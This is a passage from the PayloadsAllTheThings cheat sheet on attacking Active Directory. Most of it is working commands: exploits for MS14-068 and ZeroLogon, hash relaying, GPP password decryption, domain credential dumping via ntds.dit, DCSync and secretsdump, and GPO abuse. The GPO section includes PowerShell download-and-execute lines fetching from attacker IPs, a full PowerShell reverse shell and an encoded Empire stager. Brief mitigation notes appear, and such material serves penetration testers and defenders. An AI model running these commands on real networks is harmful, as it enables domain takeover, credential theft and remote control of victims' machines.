mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
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1923 lines
87 KiB
Markdown
1923 lines
87 KiB
Markdown
# Active Directory Attacks
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## Summary
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- [Active Directory Attacks](#active-directory-attacks)
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- [Summary](#summary)
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- [Tools](#tools)
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- [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
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- [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
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- [CVE-2020-1472 ZeroLogon](#cve-2020-1472-zerologon)
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- [Open Shares](#open-shares)
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- [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
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- [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
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- [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
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- [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
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- [Using ndtsutil](#using-ndtsutil)
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- [Using Vshadow](#using-vshadow)
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- [Using vssadmin](#using-vssadmin)
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- [Using DiskShadow (a Windows signed binary)](#using-diskshadow-a-windows-signed-binary)
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- [Using esentutl.exe](#using-esentutlexe)
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- [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit)
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- [Alternatives - modules](#alternatives---modules)
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- [Using Mimikatz DCSync](#using-mimikatz-dcsync)
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- [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa)
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- [Password spraying](#password-spraying)
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- [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
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- [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
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- [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service)
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- [Password in AD User comment](#password-in-ad-user-comment)
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- [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
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- [Using Mimikatz](#using-mimikatz)
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- [Using Meterpreter](#using-meterpreter)
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- [Using a ticket on Linux](#using-a-ticket-on-linux)
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- [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
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- [Kerberoasting](#kerberoasting)
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- [KRB_AS_REP Roasting](#krbasrep-roasting)
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- [Pass-the-Hash](#pass-the-hash)
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- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
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- [Using impacket](#using-impacket)
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- [Using Rubeus](#using-rubeus)
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- [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes)
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- [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying)
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- [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
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- [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4)
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- [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6)
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- [Drop the MIC](#drop-the-mic)
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- [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
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- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
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- [GenericAll](#genericall)
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- [GenericWrite](#genericwrite)
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- [GenericWrite and Remote Connection Manager](#genericwrite-and-remote-connection-manager)
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- [WriteDACL](#writedacl)
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- [WriteOwner](#writeowner)
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- [ReadLAPSPassword](#readlapspassword)
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- [ReadGMSAPassword](#readgmsapassword)
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- [ForceChangePassword](#forcechangepassword)
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- [Trust relationship between domains](#trust-relationship-between-domains)
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- [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
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- [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
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- [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
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- [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
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- [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
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- [Relay delegation with mitm6](#relay-delegation-with-mitm6)
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- [PrivExchange attack](#privexchange-attack)
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- [PXE Boot image attack](#pxe-boot-image-attack)
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- [Impersonating Office 365 Users on Azure AD Connect](#impersonating-office-365-users-on-azure-ad-connect)
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- [Linux Active Directory](#linux-active-directory)
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- [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp)
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- [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring)
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- [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab)
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- [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab)
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- [References](#references)
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## Tools
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* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
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* [Responder](https://github.com/lgandx/Responder)
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* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
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* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
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* [Ranger](https://github.com/funkandwagnalls/ranger)
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* [BloodHound](https://github.com/BloodHoundAD/BloodHound)
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```powershell
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# start BloodHound and the database
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root@payload$ apt install bloodhound #kali
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root@payload$ neo4j console
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root@payload$ ./bloodhound
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Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
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# run the ingestor on the machine using SharpHound.exe
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# https://github.com/BloodHoundAD/SharpHound3
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.\SharpHound.exe (from resources/Ingestor)
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.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100
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.\SharpHound.exe -c all -d active.htb --LdapUser myuser --LdapPass mypass --domaincontroller 10.10.10.100
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.\SharpHound.exe -c all -d active.htb -SearchForest
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.\SharpHound.exe --EncryptZip --ZipFilename export.zip
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.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass <Password> --JSONFolder <PathToFile>
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# or run the ingestor on the machine using Powershell
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# https://github.com/BloodHoundAD/BloodHound/tree/master/Ingestors
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Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
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Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
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# or remotely via BloodHound Python
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# https://github.com/fox-it/BloodHound.py
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bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
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```
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* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
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* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
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```powershell
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# use the latest release, CME is now a binary packaged will all its dependencies
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root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip
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# execute cme (smb, winrm, mssql, ...)
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root@payload$ cme smb -L
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root@payload$ cme smb -M name_module -o VAR=DATA
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root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
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root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
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root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
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root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
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root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
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root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
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root@payload$ cme mimikatz --server http --server-port 80
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```
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* [Mitm6](https://github.com/fox-it/mitm6.git)
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```bash
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git clone https://github.com/fox-it/mitm6.git && cd mitm6
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pip install .
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mitm6 -d lab.local
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ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
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# -wh: Server hosting WPAD file (Attacker’s IP)
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# -t: Target (You cannot relay credentials to the same device that you’re spoofing)
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# -i: open an interactive shell
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ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
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```
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* [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon)
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```powershell
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.11.0.47/PowerUp.ps1'); Invoke-AllChecks"
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powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Invoke-Mimikatz.ps1');"
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```
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* [ADRecon](https://github.com/sense-of-security/ADRecon)
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```powershell
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.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
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```
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* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
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```powershell
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powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
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```
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* [Ping Castle](https://github.com/vletoux/pingcastle)
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```powershell
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pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
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pingcastle.exe --healthcheck --server domain.local
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pingcastle.exe --graph --server domain.local
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pingcastle.exe --scanner scanner_name --server domain.local
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available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup
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```
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* [Kerbrute](https://github.com/ropnop/kerbrute)
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```powershell
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./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
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```
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* [Rubeus](https://github.com/GhostPack/Rubeus)
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```powershell
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Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
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Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
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Rubeus.exe klist [/luid:LOGINID]
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Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
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```
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* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
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```powershell
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New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
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Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
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Install-Lab
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Show-LabDeploymentSummary
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```
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## Most common paths to AD compromise
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### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
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This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.
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```powershell
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# remote
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rpcclient $> lookupnames john.smith
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john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)
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# loc
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wmic useraccount get name,sid
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Administrator S-1-5-21-3415849876-833628785-5197346142-500
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Guest S-1-5-21-3415849876-833628785-5197346142-501
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Administrator S-1-5-21-297520375-2634728305-5197346142-500
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Guest S-1-5-21-297520375-2634728305-5197346142-501
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krbtgt S-1-5-21-297520375-2634728305-5197346142-502
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lambda S-1-5-21-297520375-2634728305-5197346142-1110
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# powerview
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Convert-NameToSid high-sec-corp.localkrbtgt
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S-1-5-21-2941561648-383941485-1389968811-502
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```
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```bash
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Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
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```
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Generate a ticket with `metasploit` or `pykek`
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```powershell
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Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
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Name Current Setting Required Description
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---- --------------- -------- -----------
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DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
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PASSWORD P@ssw0rd yes The Domain User password
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RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
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RPORT 88 yes The target port
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Timeout 10 yes The TCP timeout to establish connection and read data
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USER lambda yes The Domain User
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USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
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```
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```powershell
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# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
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$ git clone https://github.com/SecWiki/windows-kernel-exploits
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$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
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$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
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$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
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$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
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-1105
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[+] Building AS-REQ for msfdc01.metasploitable.local... Done!
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[+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
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[+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
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[+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
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[+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
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[+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
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[+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
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[+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
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[+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
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```
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Then use `mimikatz` to load the ticket.
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```powershell
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mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
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```
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:warning: If the clock is skewed use `clock-skew.nse` script from `nmap`
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```powershell
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Linux> $ nmap -sV -sC 10.10.10.10
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clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
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Linux> sudo date -s "14 APR 2015 18:25:16"
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Windows> net time /domain /set
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```
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#### Mitigations
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* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
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### CVE-2020-1472 ZeroLogon
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White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
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Exploit steps from the white paper
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1. Spoofing the client credential
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2. Disabling signing and sealing
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3. Spoofing a call
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4. Changing a computer's AD password to null
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5. From password change to domain admin
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6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
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```powershell
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$ git clone https://github.com/dirkjanm/CVE-2020-1472.git
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# Activate a virtual env to install impacket
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$ python3 -m venv venv
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$ source venv/bin/activate
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$ pip3 install .
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# Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
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proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
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# Find the old NT hash of the DC
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proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
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# Restore password from secretsdump
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# secretsdump will automatically dump the plaintext machine password (hex encoded)
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# when dumping the local registry secrets on the newest version
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python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
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deactivate
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```
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in .NET for Cobalt Strike's execute-assembly
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```powershell
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git clone https://github.com/nccgroup/nccfsas
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# Check
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execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
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# Resetting the machine account password
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execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
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# Testing from a non Domain-joined machine
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execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
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# Now reset the password back
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```
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with Mimikatz : 2.2.0 20200917 Post-Zerologon
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```powershell
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privilege::debug
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# Check for the CVE
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lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
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# Exploit the CVE and set the computer account's password to ""
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lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
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# Execute dcsync to extract some hashes
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lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
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lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
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# Pass The Hash with the extracted Domain Admin hash
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sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
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# Use IP address instead of FQDN to force NTLM with Windows APIs
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# Reset password to Waza1234/Waza1234/Waza1234/
|
||
# https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
|
||
lsadump::postzerologon /target:10.10.10.10 /account:DC01$
|
||
```
|
||
|
||
### Open Shares
|
||
|
||
```powershell
|
||
smbmap -H 10.10.10.10 # null session
|
||
smbmap -H 10.10.10.10 -R # recursive listing
|
||
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
|
||
smbmap -H 10.10.10.10 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
|
||
```
|
||
|
||
or
|
||
|
||
```powershell
|
||
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
|
||
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
|
||
ls # list files
|
||
cd # move inside a folder
|
||
get # download files
|
||
put # replace a file
|
||
```
|
||
|
||
or
|
||
|
||
```powershell
|
||
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
|
||
Sharename Type Comment
|
||
--------- ---- -------
|
||
ADMIN$ Disk Remote Admin
|
||
C$ Disk Default share
|
||
IPC$ IPC Remote IPC
|
||
NETLOGON Disk Logon server share
|
||
Replication Disk
|
||
SYSVOL Disk Logon server share
|
||
Users Disk
|
||
use Sharename # select a Sharename
|
||
cd Folder # move inside a folder
|
||
ls # list files
|
||
```
|
||
|
||
Download a folder recursively
|
||
|
||
```powershell
|
||
smbclient -U username //10.0.0.1/SYSVOL
|
||
smbclient //10.0.0.1/Share
|
||
smb: \> mask ""
|
||
smb: \> recurse ON
|
||
smb: \> prompt OFF
|
||
smb: \> lcd '/path/to/go/'
|
||
smb: \> mget *
|
||
```
|
||
|
||
Mount a share
|
||
|
||
```powershell
|
||
smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw
|
||
sudo mount -t cifs -o username=<user>,password=<pass> //<IP>/Users folder
|
||
```
|
||
|
||
### SCF and URL file attack against writeable share
|
||
|
||
Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
|
||
|
||
```powershell
|
||
[Shell]
|
||
Command=2
|
||
IconFile=\\10.10.XX.XX\Share\test.ico
|
||
[Taskbar]
|
||
Command=ToggleDesktop
|
||
```
|
||
|
||
This attack also works with `.url` files and `responder -I eth0 -v`.
|
||
|
||
```powershell
|
||
[InternetShortcut]
|
||
URL=whatever
|
||
WorkingDirectory=whatever
|
||
IconFile=\\192.168.1.29\%USERNAME%.icon
|
||
IconIndex=1
|
||
```
|
||
|
||
|
||
### Passwords in SYSVOL & Group Policy Preferences
|
||
|
||
:triangular_flag_on_post: GPO Priorization : Organization Unit > Domain > Site > Local
|
||
|
||
Find password in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: `\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\`.
|
||
|
||
```powershell
|
||
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
|
||
```
|
||
|
||
Decrypt a Group Policy Password found in SYSVOL (by [0x00C651E0](https://twitter.com/0x00C651E0/status/956362334682849280)), using the 32-byte AES key provided by Microsoft in the [MSDN - 2.2.1.1.4 Password Encryption](https://msdn.microsoft.com/en-us/library/cc422924.aspx)
|
||
|
||
```bash
|
||
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||
|
||
e.g:
|
||
echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||
|
||
echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
|
||
```
|
||
|
||
#### Automate the SYSVOL and passwords research
|
||
|
||
* Metasploit modules to enumerate shares and credentials
|
||
|
||
```c
|
||
scanner/smb/smb_enumshares
|
||
post/windows/gather/enum_shares
|
||
post/windows/gather/credentials/gpp
|
||
```
|
||
|
||
* Crackmapexec modules
|
||
|
||
```powershell
|
||
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_autologin
|
||
cme smb 192.168.1.2 -u Administrator -H 89[...]9d -M gpp_password
|
||
```
|
||
|
||
List all GPO for a domain
|
||
|
||
```powershell
|
||
Get-GPO -domaine DOMAIN.COM -all
|
||
Get-GPOReport -all -reporttype xml --all
|
||
|
||
Powersploit:
|
||
Get-NetGPO
|
||
Get-NetGPOGroup
|
||
```
|
||
|
||
#### Mitigations
|
||
|
||
* Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
|
||
* Delete existing GPP xml files in SYSVOL containing passwords.
|
||
* Don’t put passwords in files that are accessible by all authenticated users.
|
||
|
||
### Exploit Group Policy Objects GPO
|
||
|
||
> Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
|
||
|
||
:warning: Domain members refresh group policy settings every 90 minutes by default but it can locally be forced with the following command: gpupdate /force.
|
||
|
||
```powershell
|
||
# Build and configure SharpGPOAbuse
|
||
git clone https://github.com/FSecureLABS/SharpGPOAbuse
|
||
Install-Package CommandLineParser -Version 1.9.3.15
|
||
ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine.dll
|
||
|
||
# Adding User Rights
|
||
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
|
||
|
||
# Adding a Local Admin
|
||
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
|
||
|
||
# Configuring a User or Computer Logon Script
|
||
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
|
||
|
||
# Configuring a Computer or User Immediate Task
|
||
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
|
||
```
|
||
|
||
Abuse GPO with **pyGPOAbuse**
|
||
|
||
```powershell
|
||
git clone https://github.com/Hackndo/pyGPOAbuse
|
||
# Add john user to local administrators group (Password: H4x00r123..)
|
||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
||
|
||
# Reverse shell example
|
||
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \
|
||
-powershell \
|
||
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
|
||
-taskname "Completely Legit Task" \
|
||
-description "Dis is legit, pliz no delete" \
|
||
-user
|
||
```
|
||
|
||
Abuse GPO with **PowerView**
|
||
|
||
```powershell
|
||
# Enumerate GPO
|
||
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
|
||
|
||
# New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO
|
||
New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments '-NoP -NonI -W Hidden -Enc AAAAAAA...' -Force
|
||
```
|
||
|
||
|
||
### Dumping AD Domain Credentials
|
||
|
||
You will need the following files to extract the ntds :
|
||
- NTDS.dit file
|
||
- SYSTEM hive (C:\Windows\System32\SYSTEM)
|
||
|
||
Usually you can find the ntds in two locations : `systemroot\NTDS\ntds.dit` and `systemroot\System32\ntds.dit`.
|
||
- `systemroot\NTDS\ntds.dit` stores the database that is in use on a domain controller. It contains the values for the domain and a replica of the values for the forest (the Configuration container data).
|
||
- `systemroot\System32\ntds.dit` is the distribution copy of the default directory that is used when you install Active Directory on a server running Windows Server 2003 or later to create a domain controller. Because this file is available, you can run the Active Directory Installation Wizard without having to use the server operating system CD.
|
||
|
||
However you can change the location to a custom one, you will need to query the registry to get the current location.
|
||
|
||
```powershell
|
||
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"
|
||
```
|
||
|
||
#### Using ndtsutil
|
||
|
||
```powershell
|
||
C:\>ntdsutil
|
||
ntdsutil: activate instance ntds
|
||
ntdsutil: ifm
|
||
ifm: create full c:\pentest
|
||
ifm: quit
|
||
ntdsutil: quit
|
||
```
|
||
|
||
or
|
||
|
||
```powershell
|
||
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
|
||
```
|
||
|
||
#### Using Vshadow
|
||
|
||
```powershell
|
||
vssadmin create shadow /for=C :
|
||
Copy Shadow_Copy_Volume_Name\windows\ntds\ntds.dit c:\ntds.dit
|
||
```
|
||
|
||
You can also use the Nishang script, available at : [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||
|
||
```powershell
|
||
Import-Module .\Copy-VSS.ps1
|
||
Copy-VSS
|
||
Copy-VSS -DestinationDir C:\ShadowCopy\
|
||
```
|
||
|
||
#### Using vssadmin
|
||
|
||
```powershell
|
||
vssadmin create shadow /for=C:
|
||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
|
||
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
|
||
```
|
||
|
||
#### Using DiskShadow (a Windows signed binary)
|
||
|
||
```powershell
|
||
diskshadow.txt contains :
|
||
set context persistent nowriters
|
||
add volume c: alias someAlias
|
||
create
|
||
expose %someAlias% z:
|
||
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
|
||
delete shadows volume %someAlias%
|
||
reset
|
||
|
||
then:
|
||
NOTE - must be executed from C:\Windows\System32
|
||
diskshadow.exe /s c:\diskshadow.txt
|
||
dir c:\exfil
|
||
reg.exe save hklm\system c:\exfil\system.bak
|
||
```
|
||
|
||
#### Using esentutl.exe
|
||
|
||
Copy/extract a locked file such as the AD Database
|
||
|
||
```powershell
|
||
esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
|
||
```
|
||
|
||
#### Extract hashes from ntds.dit
|
||
|
||
then you need to use secretsdump to extract the hashes, use the `LOCAL` options to use it on a retrieved ntds.dit
|
||
|
||
```java
|
||
secretsdump.py -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
|
||
```
|
||
|
||
secretsdump also works remotely
|
||
|
||
```java
|
||
./secretsdump.py -dc-ip IP AD\administrator@domain -use-vss -pwd-last-set -user-status
|
||
./secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
|
||
```
|
||
|
||
* `-pwd-last-set`: Shows pwdLastSet attribute for each NTDS.DIT account.
|
||
* `-user-status`: Display whether or not the user is disabled.
|
||
|
||
#### Alternatives - modules
|
||
|
||
Metasploit modules
|
||
|
||
```c
|
||
windows/gather/credentials/domain_hashdump
|
||
```
|
||
|
||
PowerSploit module
|
||
|
||
```powershell
|
||
Invoke-NinjaCopy --path c:\windows\NTDS\ntds.dit --verbose --localdestination c:\ntds.dit
|
||
```
|
||
|
||
CrackMapExec module
|
||
|
||
```powershell
|
||
cme smb 10.10.0.202 -u username -p password --ntds vss
|
||
cme smb 10.10.0.202 -u username -p password --ntds drsuapi #default
|
||
```
|
||
|
||
#### Using Mimikatz DCSync
|
||
|
||
Any member of Administrators, Domain Admins, or Enterprise Admins as well as Domain Controller computer accounts are able to run DCSync to pull password data.
|
||
|
||
```powershell
|
||
# DCSync only one user
|
||
mimikatz# lsadump::dcsync /domain:htb.local /user:krbtgt
|
||
|
||
# DCSync all users of the domain
|
||
mimikatz# lsadump::dcsync /domain:htb.local /all /csv
|
||
```
|
||
|
||
:warning: Read-Only Domain Controllers are not allowed to pull password data for users by default.
|
||
|
||
#### Using Mimikatz sekurlsa
|
||
|
||
Dumps credential data in an Active Directory domain when run on a Domain Controller.
|
||
:warning: Requires administrator access with debug or Local SYSTEM rights
|
||
|
||
```powershell
|
||
sekurlsa::krbtgt
|
||
lsadump::lsa /inject /name:krbtgt
|
||
```
|
||
|
||
